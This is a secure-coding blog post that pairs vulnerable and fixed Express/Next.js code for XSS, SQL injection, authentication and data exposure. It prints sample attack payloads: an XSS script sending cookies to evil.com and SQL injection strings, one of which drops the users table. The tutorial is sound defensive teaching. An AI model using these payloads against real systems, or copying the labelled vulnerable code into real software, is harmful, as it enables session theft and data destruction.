Most security breaches don't come from genius hackers. They come from developers who forgot to sanitize an input, hardcoded a secret, or trusted the client.
This series covers the security mistakes that are embarrassingly common — and embarrassingly easy to prevent. Part 1 starts with the fundamentals: XSS, SQL injection, broken authentication, and sensitive data exposure. These four vulnerabilities alone account for a massive portion of real-world breaches.
Future parts will go deeper: CSRF protection, rate limiting, dependency vulnerabilities, secrets management, and more. But get these basics wrong and nothing else matters.
1. Cross-Site Scripting (XSS)
What it is: An attacker injects malicious JavaScript into your page via user input. When another user visits the page, their browser executes the script — stealing cookies, hijacking sessions, or redirecting to phishing sites.
There are two main types:
- Stored XSS — the payload is saved in your database and served to every user who visits
- Reflected XSS — the payload lives in a URL parameter and executes when the victim clicks the link
Vulnerable code
// BAD — Express endpoint renders user input directly into HTML
app.get('/search', (req, res) => {
const query = req.query.q
res.send(`<h1>Results for: ${query}</h1>`)
})
// Attacker visits: /search?q=<script>fetch('https://evil.com?c='+document.cookie)</script>
// The script executes in every victim's browser — cookies stolen
Fixed code
// GOOD — escape user input before rendering as HTML
import { escape } from 'html-escaper'
app.get('/search', (req, res) => {
const query = escape(String(req.query.q))
res.send(`<h1>Results for: ${query}</h1>`)
})
A few more things to keep in mind:
- React/Next.js auto-escapes JSX by default — but
dangerouslySetInnerHTMLbypasses this entirely. Never pass unsanitized user content to it. - Set
Content-Security-Policyheaders to restrict which scripts can execute, even if something slips through. - Use
httpOnlycookies for session tokens. XSS can't steal what JavaScript can't read.
Key takeaway: Never trust user input. Escape everything that renders as HTML. Layer CSP headers as a backup defense.
2. SQL Injection
What it is: An attacker manipulates your database queries by inserting SQL syntax into user-controlled input. With the right payload, they can bypass authentication, dump entire tables, or delete your data.
Vulnerable code
// BAD — raw SQL with string concatenation
app.get('/users', async (req, res) => {
const name = req.query.name
const result = await db.query(`SELECT * FROM users WHERE name = '${name}'`)
res.json(result.rows)
})
// Attacker visits: /users?name=' OR '1'='1
// Query becomes: SELECT * FROM users WHERE name = '' OR '1'='1'
// Returns ALL users in the database
More destructive payload:
' OR 1=1; DROP TABLE users; --
Fixed code
// GOOD — parameterized query, database handles escaping
app.get('/users', async (req, res) => {
const name = req.query.name
const result = await db.query('SELECT * FROM users WHERE name = $1', [name])
res.json(result.rows)
})
The database driver treats $1 as data, not code — no matter what the attacker puts in it.
Additional guidance:
- ORMs (TypeORM, Prisma, Drizzle) handle parameterization automatically for standard queries. Prefer them over raw SQL.
- If you must write raw SQL, always use parameterized queries (
$1,?, or named parameters depending on your driver). - Never build SQL strings with template literals or concatenation — this is how SQL injection happens, every time.
Key takeaway: Use parameterized queries or an ORM. Never concatenate user input into SQL strings. No exceptions.
3. Broken Authentication
What it is: Authentication breaks in many ways — plain-text password storage, tokens exposed to JavaScript, missing validation. Any one of these can lead to account takeover.
Mistake 1 — Storing passwords in plain text
// BAD — if your database leaks, every password is exposed
await db.query('INSERT INTO users (email, password) VALUES ($1, $2)', [
email,
password,
])
Even hashing with MD5 or SHA-1 is dangerous — both are fast to crack with rainbow tables.
// GOOD — bcrypt with a cost factor of 12 or higher
import bcrypt from 'bcrypt'
const SALT_ROUNDS = 12
// On registration
const hash = await bcrypt.hash(password, SALT_ROUNDS)
await db.query('INSERT INTO users (email, password) VALUES ($1, $2)', [
email,
hash,
])
// On login — constant-time comparison prevents timing attacks
const valid = await bcrypt.compare(inputPassword, storedHash)
if (!valid) return res.status(401).json({ error: 'Invalid credentials' })
bcrypt is intentionally slow. That's the point — it makes brute-force attacks impractical.
Mistake 2 — Storing JWTs in localStorage
// BAD — localStorage is accessible to any JavaScript on the page
// XSS attack = all tokens stolen
localStorage.setItem('token', jwt)
// GOOD — httpOnly cookies are invisible to JavaScript
res.cookie('token', jwt, {
httpOnly: true, // not accessible via document.cookie
secure: true, // HTTPS only
sameSite: 'strict', // prevents CSRF (more on this in Part 2)
maxAge: 86400000, // 24 hours
})
Mistake 3 — No password strength validation
// BAD — accepts '1' as a valid password
if (!password) return res.status(400).json({ error: 'Password required' })
// GOOD — enforce minimums, check for common passwords
import { zxcvbn } from '@zxcvbn-ts/core'
function validatePassword(password: string): {
valid: boolean
reason?: string
} {
if (password.length < 8) {
return { valid: false, reason: 'Password must be at least 8 characters' }
}
const result = zxcvbn(password)
if (result.score < 2) {
return { valid: false, reason: 'Password is too common or weak' }
}
return { valid: true }
}
Key takeaway: Hash passwords with bcrypt (cost factor ≥ 12). Store tokens in httpOnly cookies, not localStorage. Validate password strength before storing anything.
4. Sensitive Data Exposure
What it is: Leaking secrets, API keys, internal fields, or stack traces to clients who shouldn't see them. This often happens through carelessness, not malice — someone returns too much data, or commits a .env file.
Mistake 1 — API keys in frontend code
// BAD — this ships to the browser and is visible in DevTools
const API_KEY = 'sk-live-abc123'
const response = await fetch('https://api.thirdparty.com/data', {
headers: { Authorization: `Bearer ${API_KEY}` },
})
In Next.js, environment variables prefixed with NEXT_PUBLIC_ are exposed to the browser. Variables without that prefix stay server-side only. Keep sensitive keys server-side.
// GOOD — proxy through your own API route (server-side only)
// apps/api/route.ts
export async function GET() {
const response = await fetch('https://api.thirdparty.com/data', {
headers: { Authorization: `Bearer ${process.env.API_KEY}` }, // server-only
})
return Response.json(await response.json())
}
Mistake 2 — Returning full database objects
// BAD — returns password hash, internal notes, and everything else
app.get('/api/me', async (req, res) => {
const user = await db.users.findById(req.userId)
res.json(user) // { id, email, passwordHash, internalNotes, stripeCustomerId, ... }
})
// GOOD — explicitly select what the client needs
app.get('/api/me', async (req, res) => {
const user = await db.users.findById(req.userId)
res.json({
id: user.id,
name: user.name,
email: user.email,
})
})
With Prisma, use select to prevent accidental over-fetching:
const user = await prisma.user.findUnique({
where: { id: req.userId },
select: { id: true, name: true, email: true }, // passwordHash never leaves the server
})
Mistake 3 — Stack traces in production responses
// BAD — exposes file paths, library versions, internal structure
app.use((err, req, res, next) => {
res.status(500).json({ error: err.message, stack: err.stack })
})
// GOOD — generic message to client, full details logged server-side
app.use((err, req, res, next) => {
console.error(err) // log internally for debugging
res.status(500).json({ error: 'Internal server error' })
})
Mistake 4 — Leaking server identity
// BAD — default Express behavior: X-Powered-By: Express
// Tells attackers exactly what to target
// GOOD — disable it
app.disable('x-powered-by')
// In Next.js (next.config.ts):
const nextConfig = {
poweredByHeader: false,
}
Also: never commit .env files. Add .env, .env.local, .env.*.local to .gitignore before your first commit. One accidental push with a production secret can mean rotating every key in your system.
Key takeaway: Only expose what the client needs. Keep secrets server-side. Never return full database objects. Remove stack traces and server identity headers from production responses.
The Security Mindset
Security isn't a feature you add at the end. It's a habit you build from the start.
These four vulnerability classes — XSS, SQL injection, broken authentication, and sensitive data exposure — are responsible for an enormous percentage of real-world breaches. They're not exotic. They're not clever. They're mistakes that happen when developers move fast and skip the basics.
The good news: every fix shown above is straightforward. Escape user input. Use parameterized queries. Hash passwords. Restrict what you return. These are habits, not heroics.
Part 1 Checklist
Before shipping any feature that touches user input or authentication:
- All user input is escaped/sanitized before rendering as HTML
- All database queries use parameterized queries or an ORM
- Passwords are hashed with bcrypt (cost factor ≥ 12)
- Session tokens are in httpOnly cookies, not localStorage
- API responses return only the fields the client actually needs
- No secrets in frontend code or committed to git
-
X-Powered-Byheader is disabled in production - Production error responses return generic messages, not stack traces
Coming in Part 2: CSRF protection, rate limiting, dependency vulnerabilities, and secrets management — the next layer of security basics that too many teams skip.
This post was written with the assistance of AI to help articulate the author's own views, knowledge, and experiences.